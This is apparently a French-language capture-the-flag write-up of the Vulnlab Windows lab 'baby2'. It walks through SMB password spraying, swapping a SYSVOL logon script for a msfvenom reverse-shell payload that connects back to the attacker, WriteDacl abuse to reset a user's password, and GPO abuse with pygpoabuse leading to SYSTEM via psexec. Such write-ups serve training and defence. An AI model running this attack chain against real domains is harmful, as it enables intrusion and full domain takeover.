baby2

| OS | Difficulty | Target |
|---|---|---|
| Windows | MEDIUM | 10.10.66.25 |
🔭 Enumeration
Discovered open port 445/tcp on 10.10.66.25Discovered open port 53/tcp on 10.10.66.25Discovered open port 3389/tcp on 10.10.66.25Discovered open port 139/tcp on 10.10.66.25Discovered open port 135/tcp on 10.10.66.25Discovered open port 464/tcp on 10.10.66.25Discovered open port 3269/tcp on 10.10.66.25Discovered open port 49680/tcp on 10.10.66.**25**llReconnaissance :
[Apr 14, 2024 - 11:56:26 (CEST)] exegol-vulnlab /workspace # smbclient -L //10.10.66.25Password for [WORKGROUP\root]:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin apps Disk C$ Disk Default share docs Disk homes Disk IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server shareSMB1 disabled -- no workgroup availableJe télécharge le contenu de apps, ensuite je vais voir dans homes :
smb: \> ls . D 0 Sat Sep 2 16:45:25 2023 .. D 0 Tue Aug 22 22:10:21 2023 Amelia.Griffiths D 0 Tue Aug 22 22:17:06 2023 Carl.Moore D 0 Tue Aug 22 22:17:06 2023 Harry.Shaw D 0 Tue Aug 22 22:17:06 2023 Joan.Jennings D 0 Tue Aug 22 22:17:06 2023 Joel.Hurst D 0 Tue Aug 22 22:17:06 2023 Kieran.Mitchell D 0 Tue Aug 22 22:17:06 2023 library D 0 Tue Aug 22 22:22:47 2023 Lynda.Bailey D 0 Tue Aug 22 22:17:06 2023 Mohammed.Harris D 0 Tue Aug 22 22:17:06 2023 Nicola.Lamb D 0 Tue Aug 22 22:17:06 2023 Ryan.Jenkins D 0 Tue Aug 22 22:17:06 2023je récupère donc la liste des utilisateurs et le place dans un txt puis on lance un nxc avec user:password :
[Apr 14, 2024 - 12:05:29 (CEST)] exegol-vulnlab /workspace # nxc smb 10.10.66.25 -u user.txt -p user.txt --sharesSMB 10.10.66.25 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)SMB 10.10.66.25 445 DC [-] baby2.vl\Amelia.Griffiths:Amelia.Griffiths STATUS_LOGON_FAILURESMB 10.10.66.25 445 DC [-] baby2.vl\Carl.Moore:Amelia.Griffiths STATUS_LOGON_FAILURESMB 10.10.66.25 445 DC [-] baby2.vl\Harry.Shaw:Amelia.Griffiths STATUS_LOGON_FAILURESMB 10.10.66.25 445 DC [-] baby2.vl\Joan.Jennings:Amelia.Griffiths STATUS_LOGON_FAILURESMB 10.10.66.25 445 DC [-] baby2.vl\Joel.Hurst:Amelia.Griffiths STATUS_LOGON_FAILURESMB 10.10.66.25 445 DC [-] baby2.vl\Kieran.Mitchell:Amelia.Griffiths STATUS_LOGON_FAILURESMB 10.10.66.25 445 DC [-] baby2.vl\library:Amelia.Griffiths STATUS_LOGON_FAILURESMB 10.10.66.25 445 DC [-] baby2.vl\Lynda.Bailey:Amelia.Griffiths STATUS_LOGON_FAILURESMB 10.10.66.25 445 DC [-] baby2.vl\Mohammed.Harris:Amelia.Griffiths STATUS_LOGON_FAILURESMB 10.10.66.25 445 DC [-] baby2.vl\Nicola.Lamb:Amelia.Griffiths STATUS_LOGON_FAILURESMB 10.10.66.25 445 DC [-] baby2.vl\Ryan.Jenkins:Amelia.Griffiths STATUS_LOGON_FAILURESMB 10.10.66.25 445 DC [-] baby2.vl\Amelia.Griffiths:Carl.Moore STATUS_LOGON_FAILURESMB 10.10.66.25 445 DC [+] baby2.vl\Carl.Moore:Carl.MooreSMB 10.10.66.25 445 DC [*] Enumerated sharesSMB 10.10.66.25 445 DC Share Permissions RemarkSMB 10.10.66.25 445 DC ----- ----------- ------SMB 10.10.66.25 445 DC ADMIN$ Remote AdminSMB 10.10.66.25 445 DC apps READ,WRITESMB 10.10.66.25 445 DC C$ Default shareSMB 10.10.66.25 445 DC docs READ,WRITESMB 10.10.66.25 445 DC homes READ,WRITESMB 10.10.66.25 445 DC IPC$ READ Remote IPCSMB 10.10.66.25 445 DC NETLOGON READ Logon server shareSMB 10.10.66.25 445 DC SYSVOL READ Logon server shareOn se connecte donc a Carl.Moore
[Apr 14, 2024 - 12:11:18 (CEST)] exegol-vulnlab /workspace # smbclient.py "baby2.vl"/"Carl.Moore":"Carl.Moore"@"10.10.66.25"Impacket for Exegol - v0.10.1.dev1+20240403.124027.3e5f85b - Copyright 2022 Fortra - forked by ThePorgs
Type help for list of commands# sharesADMIN$appsC$docshomesIPC$NETLOGONSYSVOLLe dossier “NETLOGON” est accessible et contient un fichier login.vbs :
[Apr 14, 2024 - 12:13:02 (CEST)] exegol-vulnlab /workspace # cat login.vbsSub MapNetworkShare(sharePath, driveLetter) Dim objNetwork Set objNetwork = CreateObject("WScript.Network")
' Check if the drive is already mapped Dim mappedDrives Set mappedDrives = objNetwork.EnumNetworkDrives Dim isMapped isMapped = False For i = 0 To mappedDrives.Count - 1 Step 2 If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then isMapped = True Exit For End If Next
If isMapped Then objNetwork.RemoveNetworkDrive driveLetter & ":", True, True End If
objNetwork.MapNetworkDrive driveLetter & ":", sharePath
If Err.Number = 0 Then WScript.Echo "Mapped " & driveLetter & ": to " & sharePath Else WScript.Echo "Failed to map " & driveLetter & ": " & Err.Description End If
Set objNetwork = NothingEnd Sub
MapNetworkShare "\\dc.baby2.vl\apps", "V"MapNetworkShare "\\dc.baby2.vl\docs", "L"Rien d’intéressant a première vue… Ayant une connexion valide avec ‘Carl.Moore’ je refait une énumération d’utilisateurs pour etre sur que j’ai bien l’ensemble des users :
[Apr 14, 2024 - 12:16:22 (CEST)] exegol-vulnlab /workspace # nxc smb 10.10.66.25 -u Carl.Moore -p Carl.Moore --usersSMB 10.10.66.25 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)SMB 10.10.66.25 445 DC [+] baby2.vl\Carl.Moore:Carl.MooreSMB 10.10.66.25 445 DC -Username- -Last PW Set- -BadPW- -Description-SMB 10.10.66.25 445 DC Administrator 2023-08-22 19:56:27 0 Built-in account for administering the computer/domainSMB 10.10.66.25 445 DC Guest 2023-08-22 19:13:38 0 Built-in account for guest access to the computer/domainSMB 10.10.66.25 445 DC krbtgt 2023-08-22 17:38:16 0 Key Distribution Center Service AccountSMB 10.10.66.25 445 DC gpoadm 2023-08-22 17:49:36 0SMB 10.10.66.25 445 DC Joan.Jennings 2023-08-22 19:18:20 3SMB 10.10.66.25 445 DC Mohammed.Harris 2023-08-22 19:18:21 3SMB 10.10.66.25 445 DC Harry.Shaw 2023-08-22 19:18:21 3SMB 10.10.66.25 445 DC Carl.Moore 2023-08-22 20:24:41 0SMB 10.10.66.25 445 DC Ryan.Jenkins 2023-08-22 19:18:21 3SMB 10.10.66.25 445 DC Kieran.Mitchell 2023-08-22 19:18:21 3SMB 10.10.66.25 445 DC Nicola.Lamb 2023-08-22 19:18:21 3SMB 10.10.66.25 445 DC Lynda.Bailey 2023-08-22 19:18:21 3SMB 10.10.66.25 445 DC Joel.Hurst 2023-08-22 19:18:21 3SMB 10.10.66.25 445 DC Amelia.Griffiths 2023-08-22 19:18:21 4SMB 10.10.66.25 445 DC library 2023-09-02 14:46:55 3Il y a “gpoadm” de nouveau que je rajoute donc a ma liste user je relance donc un nxc avec user:user
SMB 10.10.66.25 445 DC [+] baby2.vl\library:libraryje trouve library:libray, j'ai fait une erreur lors de ma première énumération, j'ai oublié le falg "continue-on-succes" ..
Je me connecte donc au smb avec “library”
[Apr 14, 2024 - 12:22:03 (CEST)] exegol-vulnlab /workspace # nxc smb 10.10.66.25 -u library -p library --sharesSMB 10.10.66.25 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)SMB 10.10.66.25 445 DC [+] baby2.vl\library:librarySMB 10.10.66.25 445 DC [*] Enumerated sharesSMB 10.10.66.25 445 DC Share Permissions RemarkSMB 10.10.66.25 445 DC ----- ----------- ------SMB 10.10.66.25 445 DC ADMIN$ Remote AdminSMB 10.10.66.25 445 DC apps READ,WRITESMB 10.10.66.25 445 DC C$ Default shareSMB 10.10.66.25 445 DC docs READ,WRITESMB 10.10.66.25 445 DC homes READ,WRITESMB 10.10.66.25 445 DC IPC$ READ Remote IPCSMB 10.10.66.25 445 DC NETLOGON READ Logon server shareSMB 10.10.66.25 445 DC SYSVOL READ Logon server share
smbclient.py "baby2.vl"/"library":"library"@"10.10.66.25"Je tante de modifier le fichier qui se trouve dans SYSVOL/script/login.vbs en créant un payload avec msfvenom :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.1.242 LPORT=1234 -f vbs -o login.vbsEnsuite je lance un rlwrap nc -nlvp 1234
je me connecte au smb, sysvol script et remplace le fichier login.vbs par le payload :
-rw-rw-rw- 992 Sun Apr 14 12:43:14 2024 login.vbs put login.vbsJe récupère instantanément un shell sur mon écouteur Nc :
C:\Windows\system32>whoamiwhoamibaby2\amelia.griffithsLe flag user dans C:/
Ensuite un BloodH pour bien visualisé le tout :
Nous avons donc un chemin vers “DEFAULT DOMAIN CONTROLLERS [email protected]” !
BH nous donne la méthode d’éxploitation de WriteDacl :
On défini les droit de Amelia pour GPOADM a all :
Add-DomainObjectAcl -Rights "All" -TargetIdentity "GPOADM" -PrincipalIdentity "Amelia.Griffiths"Ensuite Nous pouvons modifier le mot de passe de GPOADM avec Amelia.g :
$Password = ConvertTo-SecureString 'Password123!' -AsPlainText -ForceSet-DomainUserPassword GPOADM -AccountPassword $PasswordSur THR : https://www.thehacker.recipes/a-d/movement/group-policies Nous avons pyGPOabuse pour créer une nouvelle tâche planifiée immédiate Je récupere donc le GPO ID avec BH et lance la commande :
python3 pygpoabuse.py "baby2.vl"/'gpoadm':'Password123!' -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" -dc-ip 10.10.79.101 -command 'net localgroup administrator GPOADM /add'ERROR:root:The GPO already includes a ScheduledTasks.xml.[x] The GPO already includes a ScheduledTasks.xml.ERROR:root:Use -f to append to ScheduledTasks.xml[x] Use -f to append to ScheduledTasks.xmlERROR:root:Use -v to display existing tasks[x] Use -v to display existing tasksOk donc j’utilise -f dans la commande :
python3 pygpoabuse.py "baby2.vl"/'gpoadm':'Password123!' -f -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" -dc-ip 10.10.79.101 -command 'net localgroup administrator GPOADM /add'SUCCESS:root:ScheduledTask TASK_a89fa407 created![+] ScheduledTask TASK_a89fa407 created!Il ne reste plus qu’à tester :
psexec.py GPOADM:'Password123!'@10.10.79.101Impacket for Exegol - v0.10.1.dev1+20240403.124027.3e5f85b - Copyright 2022 Fortra - forked by ThePorgs
[*] Requesting shares on 10.10.79.101.....[*] Found writable share ADMIN$[*] Uploading file hjNcshTl.exe[*] Opening SVCManager on 10.10.79.101.....[*] Creating service odjY on 10.10.79.101.....[*] Starting service odjY.....[!] Press help for extra shell commandsMicrosoft Windows [Version 10.0.20348.1906](c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoamint authority\system